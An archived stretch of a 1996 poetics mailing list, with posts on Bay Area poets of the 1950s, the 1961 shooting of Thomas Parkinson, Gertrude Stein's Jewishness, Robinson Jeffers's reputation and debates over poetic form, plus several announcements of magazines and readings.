i haven't heard any rexroth tapes from that show, but i believe he taped some of them (very early machine for doing that) from his home. linda hamalian would/should know about that, i guess. spicer's novel is pretty good on that side of rexroth's career, the author/authoritarian. speaking of spicer, he took over

parkinson's classes after the shooting. the gunman, by the way, wrote about what he'd done and why, and if i remember correctly, he shot parkinson and the student for no other reason than that they were there; the intended victim was out of the building at the time. --- anyway, it would be interesting to track mcintyre down; considering how many people still reach rilke and the symbolists through his words, i should think it would be important to know something about his own work, and sensibility.

↑ Index

603. **Eryque Gleason**
Re: FW: Re: Peltier
Tue 26 Mar 1996

> *may i respectfully add two zeros to that 200?*

chris, although i was referring to our present gov't. (which i don't think was that bad for the first few years of it's existence), you're more than welcome to jump on the bash-wagon. anyone else care for a shot? i'm selling them cheap, this week only, only for poetics subscribers (everyone else pays twice what you guyzies will). like sun&moon (i almost abbreviated that s&m, then thought better of it...)

did the settlers buy any land besides manhattan? and did they really buy that?

eryque

↑ Index

604. **J. Lowenthal**
Electronic Poetry Review (fwd)
Tue 26 Mar 1996

Hello all. I have been lurking for a while now---this is my first time out and it's info only. I thought some of you might be interested in this new magazine. It represents incredibly strange and wonderful juxtapositions, I think, in terms of poetics, personality, etc.

Katherine Swiggart, one of the editors, would love to hear from you re: submission guidelines etc., etc..

Jessica Lowenthal

_____ In April, 1996, the first issue of _Electronic Poetry Review_ will be available on the internet. The Spring issue will feature an interview with Jane Miller by Jorie Graham, and poetry by Etel Adnan, Rae Armantrout, Marvin Bell, Frank Bidart, David Bromige, Mark Doty, James Galvin, C.S. Giscombe, Jorie Graham, Lyn

Hejinian, Brenda Hillman, Fanny Howe, Timothy Liu, Bob Perelman, Bin Ramke, Tim Seibles, Spencer Selby, James Tate, Mark Strand (and others). EPR will be published three times a year, and each issue will become part of a developing on-line archive, available--at no subscription cost--to an international community of writers, teachers and readers of poetry. The editors aim to publish the best of both experimental poetry and more traditionally formal poetry, as well as interviews, essays on poetics, and book reviews. _Electronic Poetry Review_ welcomes submissions of poetry, essays or reviews from writers in or outside of the United States. Requests for submision guidelines, and all other inquiries, should be sent to the editors at [redacted] or, before May 15, to [redacted]

Editors: Katherine Swiggart and Douglas Powell
Production editor: Davi Ottenheimer
Board of advisors and contributing editors: Marvin Bell, Jorie Graham, David Hamilton, Lyn Hejinian, Bob Perelman, Tom Sleigh

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605. **Thomas Bell**

Re: Kellog's article and reification

Tue 26 Mar 1996

David, The issue for me here is whether or not poetry is _static_ (reified, or NOUN vs. verb). The answer for me as I think it is for you is NO. I posted the quote as another example of a tendency you alluded to in your article. I think the quote suggests the "tendency to noun" may have older and more traditional roots as Grossman sees "poetry as immensely conservative"

Sorry for the confusion, I have not completely digested the book as a whole, but the operative word for me in the quote is _static_. The death referenced to is _death_, not the death of poetry, but I can see how it can be interpreted the other way. The quote is taken from a conversation between Grossman and a younger poet and the specific context is film vs. poetry. The broader context is poetry as reifying "person" or validating "self". tom

> *On Sat, 23 Mar 1996, Thomas Bell wrote:*
>
> *"[Poetry] does appear at present, despite various modifications in the mode of presenting it in public, to be static, death-laden, just as it is so often death-referenced" - Allen Grossman in _The Sighted Singer_*
>
> *I don't think I want to go down this road.*
>
> *The problem with pronouncements like this is their tendency toward*

> *universalism. I have no wish to go back to the "death of poetry" debate (which seems happily to have died down since the late eighties) where people accused back and forth: Poetry's dead/is not/is so/is not! Saying something like this is rather easy; the heart part is figuring out what's actaully happening *here* or *there* or *there*.*
>
> *I'm not as familiar with Grossman's work as I should be. What's the context of his saying this? I'm curious because he seems obviously (in Summa Lyrica) one of the most rigorous thinkers about poetry in our time.*
>
> *Cheers,*
> *David*

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606. **Blair Seagram**
sublet/NYC/CPW
Tue 26 Mar 1996

Anyone looking to sublet an apt. in NYC?

Available: April thru May +
Location: off Central Park West (1 bed room with a view)
Contact: Jacklyn Johnson [redacted]

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607. **Ron Silliman**
Re: The Bay scene in 1950s
Tue 26 Mar 1996

The shooter did indeed write and publish a book, a hardback vanity press affair (I remember it having a pink cover). Twenty years ago, you could see this guy giving copies of it away for free on BART.

Ron Silliman

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608. **chris daniels**
Re: robinson jeffers/west coast scene
Tue 26 Mar 1996

---

the first american poet i got truly obsessed w/ was robinson jeffers --- i found a copy of his book "Such Counsels You Gave To Me" at a friend's house when i was 14 or so --- ended up reading everything. his "Inhumanism" was strangely comforting to me when i was a kid

i haven't read him in years --- the last time i tried, when the five-volume collected poems began to appear, i stood in moe's books and couldn't get very far --- i've got a soft spot for him, though

ron and others --- did his postwar reputation plummet as rapidly out here on the west coast as it did elsewhere? and how did he fit into the postwar scene out here? what's the general consensus on him nowadays? is there in fact any interest in his work at all?

later ---

chris
---
christopher daniels <[redacted]> 3.26.96 4:24:11 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wuorinen

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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609. **David Kellogg**
Re: Kellog's article and reification
Tue 26 Mar 1996

Tom,

Righto, of course. I was talking right past you again.

Re: static poetry, I have a question for Charles Bernstein. In Chicago in December you read a hilarious point-by-point inversion of Charles Olson's PROJECTIVE VERSE. Is this out somewhere? I would like to reference it.

Cheers,
David
~~~
~~~

There is some excitement in one corner,
but most of the ghosts are merely shaking their heads.

-- Thomas Kinsella

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610. **Edward Foster**
Re: robinson jeffers/west coast scene
Tue 26 Mar 1996

---

jeffers' primary connection to later west coast work was william everson, whose early poems are deeply jeffers. after that, the line gets very thin although i believe you can find it mixed in with early beat writing. but rexroth didn't like him, despite everson's enthusiasm, and that certainly didn't help things. jeffers is certainly of his time, and i don't much care for his long works, but there are a number of short pieces that still seem very strong--unlike the work of other whitman- based poets, sandburg for instance.

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611. **D. LaBeau**
Announcing/Call for Submissions EPR
Tue 26 Mar 1996

Forwarded from Katherine Swiggart:

In April, 1996, the 1st issue of _Electronic Poetry Review_ will be available on the internet. The Spring issue will feature an interview with Jane Miller by Jorie Graham, & poetry by Etel Adnan, Rae Armantrout, Marvin Bell, Frank Bidart, David Bromige, Mark Doty, James Galvin, C.S. Giscombe, Jorie Graham, Lyn Hejinian, Brenda Hillman, Fanny Howe, Timothy Liu, Bob Perelman, Bin Ramke, Tim Seibles, Spencer Selby, Mark Strand, James Tate (& others.)
EPR will be published three times a year, & each issue will become part of a developing on-line archive, available--at no subscription cost--to an international community of writers, teachers, & readers of poetry. The editors aim to publish the best of both experimental poetry & more traditionally formal poetry, as well as interviews, essays on poetics, & book reviews. _Electronic Poetry Review_ welcomes submissions of poetry, essays or reviews from writers in or outside of the United States. Requests for submission, & all other inquiries, should be sent to the editors at [redacted] or, before May 15, to [redacted]

Editiors: Katherine Swiggart & Douglas Powell
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David Hamilton, Lyn Hejinian, Bob Perelman, Tom Sleigh

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612. Maria Damon
query abt stein/toklas
Tue 26 Mar 1996

hey guyzies: does anyone on this list know if Gertrude and Alice kept any semblance of Jewish dietary laws? i don't own a copy of the cookbook, but if any of you does, cd you take a quick glance and let me know if there are, for instance, any pork or shellfish recipes, and if there are any recipes that combine dairy products with meat (excluding fish) products? i'd be grateful, since i'm trying to find concrete, identifiable clues about how they defined their own Jewishness. Stein sez various things throughout her career; one piece i;m looking at is "reverie of the zionist," where she claims Judaism must be considered a religion, not a race or nationality, cuz she doesn't want to move to Zion, but at the same time, considers her position an "expression of Shem" --ie legitimately Jewish. thanks--md

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613. Michael Davidson
Re: The Bay scene in 1950s
Tue 26 Mar 1996

Very interesting to hear about Spicer's role following the shooting. We should remember that, although the shooter may have claimed disinterest in his target, Parkinson at that time was a target for all sorts of right wing animosity, due to his opposition to the Vietnam War and other political activities. So if the shooter were looking for a warm (eg. pinkish) target TP would be in the line of fire. Parkinson himself represented the shooting as a political act.

md

At 06:20 PM 3/25/96 -0500, you wrote:
>i haven't heard any rexroth tapes from that show, but i believe he taped
>some of them (very early machine for doing that) from his home. linda
>hamalian would/should know about that, i guess. spicer's novel is pretty
>good on that side of rexroth's career, the author/authoritarian. speaking
>of spicer, he took over parkinson's classes after the shooting. the
>gunman, by the way, wrote about what he'd done and why, and if i remember
>correctly, he shot parkinson and the student for no other reason than
>that they were there; the intended victim was out of the building at
>the time. ---
> anyway, it would be interesting to track mcintyre down;
>considering how many people still reach rilke and the symbolists

>through his words, i should think it would be important to know
>something about his own work, and sensibility.
>
>
Michael Davidson

↑ Index

614. **Jena Osman**
Re: Kellog's article and reification
Tue 26 Mar 1996

> *Re: static poetry, I have a question for Charles Bernstein. In Chicago in December you read a hilarious point-by-point inversion of Charles Olson's PROJECTIVE VERSE. Is this out somewhere? I would like to reference it.*
>
> *Cheers,*
> *David*

This piece will be printed in the next issue of _Chain_ (special topic: hybrid genres/mixed media), which will be out sometime in May.

Jena Osman

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615. **Tony Green**
Re: nea creative writing fellowships
Tue 26 Mar 1996

'Quertzblatz' here you go. Drop your ' ' and be part of the language.

Tony Green,
e-mail: [redacted]

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616. **Jordan Davis**
ye poetry city reading
Tue 26 Mar 1996

Hear ye! hear ye! All ye poets in ye big city for ye talks

POETRY CITY READING THURSDAY MARCH 28

Rod Smith (Rod Smith!), author of _Ye Boy Poems_ and _In Memory of Ye Theories_, and Loss Glazier (Loss Pequeno Glazier!), author of _Ye Parts_, will be reading at POETRY CITY on Thursday, March 28, 6:30 p.m.

It's free. We'll have wine.

POETRY CITY is a wholly-owned (but free-standing and subversive) subsidiary of Teachers & Writers Collaborative, 5 Union Square West, NY NY 10003.

_____ Now as for desire, did anybody really ever "desire" anybody else? how many men on when fear struck out. What's wrong with a little personification. I beg your pardon. What's wrong with the category of desire. It's objectless. Right. Pointless? Pointilist? Easter is a round the. What do you want to happen. To save string. To save a nation. F Troop Penelope had no hair. The thrill is back in the basement.

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617. Joseph Zitt
Sound Poetry ensemble live at Austin Festival
Tue 26 Mar 1996

(More shameless self-promotion; the group includes several members of this list.)

"Question Authority, The", Dallas's almost all-star sound poetry ensemble, will make its Austin debut at the Fourth Annual Austin International Poetry Festival. The ensemble will perform at Book People at 6th and Lamar on Saturday, March 30 at 5:30 PM.

"Question Authority, The" is a performance collective, exploring the borders between poetry and music and between composition and improvisation.

The ensemble includes former Austinites Joseph Zitt and Ric Speed, and Fran Carris, Tim Cloward, Debi Tannenbaum, and Tim Wood. This performance focuses on original work by ensemble members and includes the group's arrangement of a work by poet Allen Ginsberg.

The Festival's opening ceremony, on Friday at 4:30 PM at MexicArte at 5th and Congress, features the premiere of "Inaugural" by Joseph Zitt, performed in a version for two tubas, string bass, and three speakers, by Austin's ensemble Batrachomyomachia and special guests. The composition recombines presidential speeches and American folk tunes in unpredictable ways. Zitt will also lead a workshop on sound poetry on Friday at 3 PM at Book People.

Fran Carris and Tim Wood, editor and publisher of the Dallas arts monthly the Word, will create an the official festival Video Poem at the Electric Lounge that Saturday afternoon at 2 PM, preceded by their Video Poetry workshop at 5 PM on Friday. They will also be coordinating the creation of an on-the-spot festival anthology Friday night at the Green Room.

More information on the Festival can be found on the World Wide Web at http://www.hyperweb.com/poetry
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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618. **AARON SHURIN**

O'Hara's ghost

Tue 26 Mar 1996

I talked to Don Allen today about the aforementioned "ghost" book of O'Hara's letters. Said he'd been working on it with O's sister (?Maureen?), but they weren't able, back then, to find a publisher. Then she was working on another version with Rod Padgett, but they stopped working together. According to Don, he offered to Maureen to publish a selected letters, but she didn't want that. In any case, the letters hadn't really been edited, ie annotated.

Don is, though, preparing a new edition of O'Hara's POEMS RETRIEVED, and of course UC has issued in paperback the Collected.

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619. **Ron Silliman**

Re: The Bay scene in 1950s

Tue 26 Mar 1996

Michael,

"Parkinson at that time was a target for all sorts of right wing animosity, due to his opposition to the Vietnam War and other political activities" Your timing is off.

The Gulf of Tonkin incident, if it had actually happened, was the 4th of August, 1964, something like 8 years AFTER the shooting (but one day before I became eligible for the draft). Still, Parkinson, who was a cantankerous fellow not given much to collective action, had long been an active supporter of professors like Tolman, who'd lost his job (and career) over his refusal to sign the loyalty oath. This was a 50s McCarthy backlash shooting, basically.

[I recall there being a lot of controversy right here in Philadelphia, where I happened to be at the time, at somebody carrying a "Don't Laos Me Up" sign on a Hiroshima Day march at City Hall in 1964 -- there was no antiwar movement to speak of then, even as US involvement had been stepping up for some time. Madame Nhu spoke at the Greek Theater in 63 or 64 with virtually no protest. I

met Dean Rusk and Adlai Stevenson who were in town for that occasion--I was the "lawn boy" for Rusk's sister in law on Marin Ave in Berkeley--and they had virtually no security with them. Unthinkable just two years later.]

So Parkinson was shot before. Before the HUAC demonstrations of 1959 -- the first "student riot" of the post WW2 generation -- in San Francisco City Hall, before Tracy Simms and the Auto Row sit-ins on Van Ness Avenue (around 1962), and before the "shop-ins" at Luckys on Telegraph Ave in (across from what is now Cody's) or the CORE picketing of Spengers in Berkeley and the restaurants around Jack London Square (which led to the crackdown on "campus organizing" that led by way of response to Jack Weinberg getting arrested for the simple act of setting up a card table and being held in the police car in Sproul Plaza for 36 hours as students refused to let the cops take him downtown, the first "event" of the Free Speech Movement (and that was still a year ahead of the first Vietnam Day Teach-in).

Here's a question: Were Spicer, Duncan, Parkinson, Blaser, Rexroth or any of the others around at the time involved in the 3 or 4 day general strike that occurred in Oakland in 1949, the last such to be truly attempted (and successful to the degree that people did go out) in the US? This was the same year that KPFA was founded (Rexroth was active in that and Spicer had a folk music program for a little while).

Ron Silliman

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620. **jms**
Re: query abt stein/toklas
Tue 26 Mar 1996

Entries in ABT Cookbook

Pork
    Rilettes
    Roast Pork Normandy
    Veal and Pork Meat Loaf

Lots of shellfish also.

Save to say no to semblance of Jewish dietary laws.

    --Juliana

> *hey guyzies:*
> *does anyone on this list know if Gertrude and Alice kept any semblance of Jewish dietary laws? i don't own a copy of the cookbook, but if any of you does, cd you take a quick glance and let me know if there are, for instance, any pork or shellfish recipes, and if there are any recipes that combine*

> *dairy products with meat (excluding fish) products? i'd be grateful, since i'm trying to find concrete, identifiable clues about how they defined their own Jewishness. Stein sez various things throughout her career; one piece i;m looking at is "reverie of the zionist," where she claims Judaism must be considered a religion, not a race or nationality, cuz she doesn't want to move to Zion, but at the same time, considers her position an "expression of Shem" --ie legitimately Jewish.*
> *thanks--md*

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621. **Gary Hawkins**

Re: Visual Poetry

Tue 26 Mar 1996

> *If you want information about the Australian concrete poetry scene, contact TT.O. (greek symbols Pi and Omicron) and thalia c/o*
> *Collective Effort Press*
> *P.O. Box 2430V GPO Melbourne, Australia*
>
> *They printed an anthology of works by TT.O. (say Pi O), thalia, ACR, Jas Duke, and loads of others who continue today. Also, they can hook you up with the Italian scene, namely a dictionary of women's language using concrete poetry.*
> *Tell them you got the info from Laura Hope-Gill; give 'em my best.*
>
> *Laura Hope-Gill c/o GHawkins*
>
> *There was a CD tribute to Jas Duke in an issue of Going Down Swinging a year or so back. Also the latest issue of Southerly has a collection of articles on pi0. Australian Writing On Line will shortly be making GDS available through its Virtual Bookshop (http://www.ozemail.com.au/~awol/). If can't wait email AWOL at [redacted] and they can give you more details.*
>
> ---
> *Mark Roberts*
> *Student Systems Project Officer*
> *Information Systems*
> *University of Sydney NSW 2006 Australia*
> [redacted]

> *PH:(02)*[redacted]
> *FAX:(02)*[redacted]

Dear Mark,

Thanks for the AWOL e-address as well as the lead to the TT.O. articles in Southerly. Could you tell me Southerly's e-address as I'd love to get a copy.

I'm glad to learn of GDS going electronic via AWOL's electronic bookshop. It's a great magazine-- is Myron Lysenko still heading it up? Is Jas being read in Australia outside of the GDS subscribers? WAR and PEACE is an excellent book of poems, as with all poems published by the Collective Effort Press. I'm glad the CD project worked-- it was a first, wasn't it-- after the 45 included with Off the Record. Couldn't have honored a greater voice, I think. That voice.

Thanks again.

Laura Hope-Gill
[redacted]
c/o [redacted] (shared list to avoid double sending)

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622. Kevin Killian
SPT newsletter at EPC
Tue 26 Mar 1996

The address of the SPT newsletter will change a bit in the future, but right now you can access it at the Electronic Poetry Center at:

http://writing.upenn.edu/epc/ezines/spt/sptS96_toc.html

Thanks to John Keeling for the wonderful work he did in creating this electronic version.

Dodie Bellamy

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623. Charles Bernstein
Introjective Verse (reply to David Kellog)
Tue 26 Mar 1996

In reply to David Kellogg --
> Re: static poetry, I have a question for Charles Bernstein. In Chicago in
> December you read a hilarious point-by-point inversion of Charles Olson's
> PROJECTIVE VERSE. Is this out somewhere? I would like to reference it.

"Introjective Verse" will be in the immediately forthcoming issue of CHAIN, ed. Juliana Spahr and Jena Osman: Chain / 3.

I wrote this over the summer in response to a request by Olivier Cadiot and Pierre Alferi to do something on "Projective Verse" for a "speed" issue of their periodical incroyable _Revue de litterature generale_ and it will be, I think, in the 2d number of the review, in a translation divided into hexameters._

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624. **Mark W Scroggins**
Re: query abt stein/toklas
Wed 27 Mar 1996

Maria:
I don't have the cookbook either, but I thought of the Autobiography (p. 12 in the Selected Writings volume): "She did not like the stranger's looks. Who is that, said she to Alfy. I didn't bring him, said Alfy. he looks like a Jew, said Gertrude Stein, he is worse than that, says Alfy." How do you read the tone of that?
And where is the "Zionist" piece you mentioned?
Cheers,
Mark

↑ Index

625. **Chris Semansky**
EPR
Wed 27 Mar 1996

Has anyone tried (successfully) to e-mail _Electronic Poetry Review_ . I keep getting a "host unknown" response to the two addresses listed in recent posts.

chris s.

****
"The current state of knowledge can be summarized thus: In the beginning there was nothing, which exploded." -Terry Pratchett
****

Chris Semansky
Campus Writing Program
325 General Classroom Building
University of Missouri-Columbia
Columbia, MO 65211
[redacted]
http://www.missouri.edu/~writcks
****

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626. **Kevin Killian**
Re: The Bay scene in 1950s
Wed 27 Mar 1996

Regarding the shooting of Thomas Parkinson-I know a little bit!

Ed Foster is almost correct, but wrong to suppose that the gunman had no motive beyond "he was there." In addition, Jack Spicer didn't take over Parkinson's classes but merely helped Josephine Miles and others grade papers for him while he recuperated.

Michael Davidson pretty much hits the nail on the head but just places the date a little late. Ron Silliman's dating is too early.

Parkinson was shot in his office, January 18, 1961. The assailant proposed to open World War III by an assault on "liberals" in this, the still highly charged aftermath of the McCarthy era. He wounded Parkinson and killed a graduate student who happened to be conferring at the professor's desk. The killer was a student obsessed with anti-Communism and indeed believed Parkinson to be a communist since he had defended in the student newspaper the students Ron alludes to who participated in the famous sit-in at San Francisco City Hall. This is the incident that opens up the documentary of a few years back, "Berkeley in the Sixties" (and isn't the Parkinson incident featured in that film too?) Parkinson, who died four years ago, recounted the story to me and Lew Ellingham as we were interviewing him, in June of 1991, for our projected biography of Spicer, with heavy emphasis on the terrible waste of the young graduate student's life.

Hope this helps! -Kevin Killian

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627. **Maria Damon**
Re: query abt stein/toklas
Wed 27 Mar 1996

---

hi mark, i read the passage you cite from the autobiography ambiguously. part of this is, i think, an example of "subaltern humor," in Renato Rosaldo's phrase --an instance of the marginalized using oneself as the butt of quasi-hostile humor (see, natch, freud on this). the zionist piece is in Painted Lace, vol 5 of the posthumously collected. anyone else got insights on this optic, i mean topic? i'm having a dickens of a time with this essay cuz there's just too much to say.
maria d

↑ Index

628. **Charles Alexander**
Re: robinson jeffers/west coast scene
Wed 27 Mar 1996

In the mid-70's at Stanford, at least by Al Gelpi, Jeffers was taught as one of the major 20th Century poets post-Pound/Williams, along with such as John Crowe Ransom. Whereas Zukofsky was never mentioned and, although I think Olson was mentioned, it was in passing. The way I began to read Olson out of that Stanford undergraduate context was that, after Donald Davie read a poem by Dorn on the 18th Century explorer John Ledyard ("Ledyard: The Exhaustion of Sheer Distance") in the context of a late 18th Century British poetry class (Johnson/Smart/Gray and some others), I went out and found books by Dorn which led me to Olson and much else. But if one had stuck to the syllabus in the mid-20th Century poetry classes, one would have left thinking of Jeffers as a major poet. When I left California in mid-1976 and found that others had either never heard, or barely heard, of Jeffers, I thought of him more as a major regional poet (in terms of his reputation).

> *jeffers' primary connection to later west coast work was william everson, whose early poems are deeply jeffers. after that, the line gets very thin although i believe you can find it mixed in with early beat writing. but rexroth didn't like him, despite everson's enthusiasm, and that certainly didn't help things. jeffers is certainly of his time, and i don't much care for his long works, but there are a number of short pieces that still seem very strong--unlike the work of other whitman-based poets, sandburg for instance.*

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629. **Emily Lloyd**
Re: query abt stein/toklas
Wed 27 Mar 1996

"I saw all this to prove that Judaism should be a question of religion..." [not race] "I don't want to go to Zion." GS, "Reverie"

If Judaism is a question of religion, then I'm inclined to think Stein's not all that "interested" in being a Jew. Sort of in the same way that she's not all that interested in being a woman if that means having to be "religiously" involved in feminism/women's causes. In _Making of Americans_ she talks about how religious her grandfathers were, how it was religion that made them "feel important in their being" (paraphrasing, I don't have the book w/me)...that was the function of their religiousness [sic] as far as she writes, and Stein clearly didn't need it to feel important in HER being. I guess I read the passage in Autobio of ABT

the same way you did, Maria, but also--it seems to me that Stein's very aware of stereotypes & in some cheeky sense believes in & promotes them...when they apply to groups she happens to be, technically, a part of, this doesn't change. But it's hard for me to see, from her writing, Stein thinking of herself much as a "woman" or a "Jew"...her chosen identities being, as far as I can tell, American, genius, and "brother singular." e

~~~~~~

Emily Lloyd [redacted]
"I mistrust your bitch."--nietzsche

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630. Mark Wallace
AWP Chronicle, discussions of form
Wed 27 Mar 1996

The AWP Chronicle this month has a number of remarkably deluded articles about the nature of poetic form, in case anyone's interested--it ties in quite nicely with some of our recent talk about the politics of poetic form.

Ira Sadoff's "Modernism and Continuing Myths of Form" actually has a good, engaged reading of poems by Lyn Heijinian and John Ashbery among others, but his historical confusion seems immense. He writes: "In the past thirty years the premises behind Modernism have been widely refuted"--what he means by Modernism, apparently, is the New Criticism as forrmulated according to him to a great extent by Cleanth Brooks. Although T.S. Eliot and Wallace Stephens are mentioned, Sadoff's example of "Modernist poetic closure" is a poem by James Wright. Modernism=Poetic Closure is the underlying assumption of his article.

Annie Finch's "Conspicuous Repetition and the Multiplicity of Forms" starts by saying that, until recently, she believed that "formal poetry" was "metric poetry." But in editing the anthology "A Formal Feeling Comes: POems in Form by Contemporary Women," she received many "non-metrical" poems which the writers in question nonetheless considered "formal." Finch wrestles with the oddity of this notion, and finally decides that "formal poetry" includes poems that "play to the human potential for childlike or ceremonial language; found something powerful in a poetic language that was rhetorical rather than natural; answered the desire for language to become more than the sum of its ordinary parts." She then defines formal poetry--"Formal poems are structured by the conspicious repetition of any language element"--not a bad definition, actually, although she remains quite unaware of how many types of poetry she's ignoring. Finch then lets a number of contemporary women poets speak about their own interests in form, which I won't summarize here.
~~~~~~

Frederick Turner's article "The Inner Meaning Of POetic Form" begins "It is becoming clear at this moment that the most dynamic and promising trend in poetry today is the expansive movement, or the New Formalism, as it is also known." Need I say more?

I thought I would post this just in case anybody out there was thinking that there was no longer any need to argue for or promote the significance of "avant garde" work--we can argue all day about what to call it, but the fact of the matter is that highly "official" creative writing professional publications still often act as if it doesn't even exist.

Mark Wallace

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631. **Tenney Nathanson**
caveat webber
Wed 27 Mar 1996

Mike Magoolaghan--

your interesting looking www page (which I found through Alta Vista, an amazing search engine) has now crashed my computer twice (each time I've tried to load the page: one of those serious Windows 3.1 major GPFs that dumps you right back into cold unadorned reality).

Is anyone else having this problem?

or, Mike: what I ever do to you?

best,

Tenney

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632. **Michael Davidson**
Re: The Bay scene in 1950s
Wed 27 Mar 1996

---

ron...thanks for the corrections. I think TP, in interviews with me, may have encouraged such conflations of dates. On the other hand, I thought the shooting was later than this...in which case Spicer couldn't have been his TA. So when was the shooting exactly? I've lost the original post. Was it, indeed, in the 1940's? I had thought it was an incident of the 1960s. Now I'm all confused. Please clarify.

(I don't know about the 1949 strike)

MD
At 07:15 PM 3/26/96 -0800, you wrote:
>Michael,
>
>"Parkinson at that time was a target for all sorts of right wing
>animosity, due to his opposition to the Vietnam War and other political
>activities" Your timing is off.
>
>The Gulf of Tonkin incident, if it had actually happened, was the 4th
>of August, 1964, something like 8 years AFTER the shooting (but one day
>before I became eligible for the draft). Still, Parkinson, who was a
>cantankerous fellow not given much to collective action, had long been
>an active supporter of professors like Tolman, who'd lost his job (and
>career) over his refusal to sign the loyalty oath. This was a 50s
>McCarthy backlash shooting, basically.
>
>[I recall there being a lot of controversy right here in Philadelphia,
>where I happened to be at the time, at somebody carrying a "Don't Laos
>Me Up" sign on a Hiroshima Day march at City Hall in 1964 -- there was
>no antiwar movement to speak of then, even as US involvement had been
>stepping up for some time. Madame Nhu spoke at the Greek Theater in 63
>or 64 with virtually no protest. I met Dean Rusk and Adlai Stevenson
>who were in town for that occasion--I was the "lawn boy" for Rusk's
>sister in law on Marin Ave in Berkeley--and they had virtually no
>security with them. Unthinkable just two years later.]
>
>So Parkinson was shot before. Before the HUAC demonstrations of 1959 --
>the first "student riot" of the post WW2 generation -- in San Francisco
>City Hall, before Tracy Simms and the Auto Row sit-ins on Van Ness
>Avenue (around 1962), and before the "shop-ins" at Luckys on Telegraph
>Ave in (across from what is now Cody's) or the CORE picketing of
>Spengers in Berkeley and the restaurants around Jack London Square
>(which led to the crackdown on "campus organizing" that led by way of
>response to Jack Weinberg getting arrested for the simple act of
>setting up a card table and being held in the police car in Sproul
>Plaza for 36 hours as students refused to let the cops take him
>downtown, the first "event" of the Free Speech Movement (and that was
>still a year ahead of the first Vietnam Day Teach-in).
>
>Here's a question: Were Spicer, Duncan, Parkinson, Blaser, Rexroth or
>any of the others around at the time involved in the 3 or 4 day general
>strike that occurred in Oakland in 1949, the last such to be truly

>attempted (and successful to the degree that people did go out) in the
>US? This was the same year that KPFA was founded (Rexroth was active in
>that and Spicer had a folk music program for a little while).
>
>Ron Silliman
>
>
Michael Davidson

↑ Index

633. **Michael Davidson**
Re: The Bay scene in 1950s
Wed 27 Mar 1996

Whew, thanks Kevin...I thought that TP had been shot somewhat later than the time that RD and JS were students there. Now another query--was the incident also related to Parkinson's stance on the Loyalty Oath controversy--that was certainly in the news by that time.

MD

At 12:10 AM 3/27/96 -0800, you wrote:
>Regarding the shooting of Thomas Parkinson-I know a little bit!
>
>Ed Foster is almost correct, but wrong to suppose that the gunman had no
>motive beyond "he was there." In addition, Jack Spicer didn't take over
>Parkinson's classes but merely helped Josephine Miles and others grade
>papers for him while he recuperated.
>
>Michael Davidson pretty much hits the nail on the head but just places the
>date a little late. Ron Silliman's dating is too early.
>
>Parkinson was shot in his office, January 18, 1961. The assailant
>proposed to open World War III by an assault on "liberals" in this, the
>still highly charged aftermath of the McCarthy era. He wounded Parkinson
>and killed a graduate student who happened to be conferring at the
>professor's desk. The killer was a student obsessed with anti-Communism
>and indeed believed Parkinson to be a communist since he had defended in
>the student newspaper the students Ron alludes to who participated in the
>famous sit-in at San Francisco City Hall. This is the incident that opens
>up the documentary of a few years back, "Berkeley in the Sixties" (and
>isn't the Parkinson incident featured in that film too?) Parkinson, who
>died four years ago, recounted the story to me and Lew Ellingham as we were

>interviewing him, in June of 1991, for our projected biography of Spicer,
>with heavy emphasis on the terrible waste of the young graduate student's
>life.
>
>Hope this helps! -Kevin Killian
>
>
Michael Davidson

↑ Index

634. **Jerry Rothenberg**
Re: query abt stein/toklas
Wed 27 Mar 1996

---

dear Maria -- Regarding Stein, David Antin used to read (or to suggest reading) THE MAKING OF AMERICANS as a great shtetl novel -- certainly an immigrant account though with the jewishness (I think) sub rosa. In A BIG JEWISH BOOK I present her with lines from Patriarchal Poetry and sections from A Sonatina Followed by Another, including (as long as we're on the question of did she follow the dietary laws etc) the following Jewish love song (earlir subtitled "the song of Alice B":

"Willy nilly with a roasted kid, how you can you be so delicious and give it to the cat. I gave to the cat because we were uncomfortable. We are not naturally uncomfortable, we are a little nervous. I took a piece of pork and I stuck it on a fork and I gave it to curly headed jew jew jew. I want my little jew to be round like a pork, a young round pork with a cork for his tail. A young round pork. I want my little jew to be round like a young round pork. I do."

More that in the surrounding sections.

All best

JERRY

ps. When as a kid I first began reading Stein, my mother asked me (good naturedly, I should add): "What makes you so interested in that 'alte yiddeneh'?" Somewhere, I remember, Gertrude refers to herself in somewhat the same way -- but likely with a different tonality. She was also not beyond a certain fashionable (if possibly defensive) anti-semitism -- as in the passage Mark came up with. But that much is par for the course.

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635. Kevin Killian
Re: query abt stein/toklas
Wed 27 Mar 1996

I'm thinking of the instructive friendship between Stein and Laura Riding . . . seems to me that part of their bonding (unusual for both women) was some kind of Jewish connection. Wasn't it Stein, who had visited there, who recommended Mallorca to Riding in the first place? And didn't she do so knowing Riding's desire for a kind of Old Testament Zion (I don't have the letters with me)-Mallorca as the place where the early Jewish mariners had established a homeland? Or maybe Emily is right and they were just these 2 American footloose geniuses who recognized each other neither as women nor Jews.-Kevin Killian, God, do I sound dumb today.

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636. Henry Gould
Re: AWP Chronicle, discussions of form
Wed 27 Mar 1996

On Wed, 27 Mar 1996 10:52:03 -0500 Mark Wallace said:
>
>Frederick Turner's article "The Inner Meaning Of POetic Form" begins "It
>is becoming clear at this moment that the most dynamic and promising
>trend in poetry today is the expansive movement, or the New Formalism, as
>it is also known." Need I say more?
>
> I thought I would post this just in case anybody out there was
>thinking that there was no longer any need to argue for or promote the
>significance of "avant garde" work--we can argue all day about what to
>call it, but the fact of the matter is that highly "official" creative
>writing professional publications still often act as if it doesn't even
>exist.

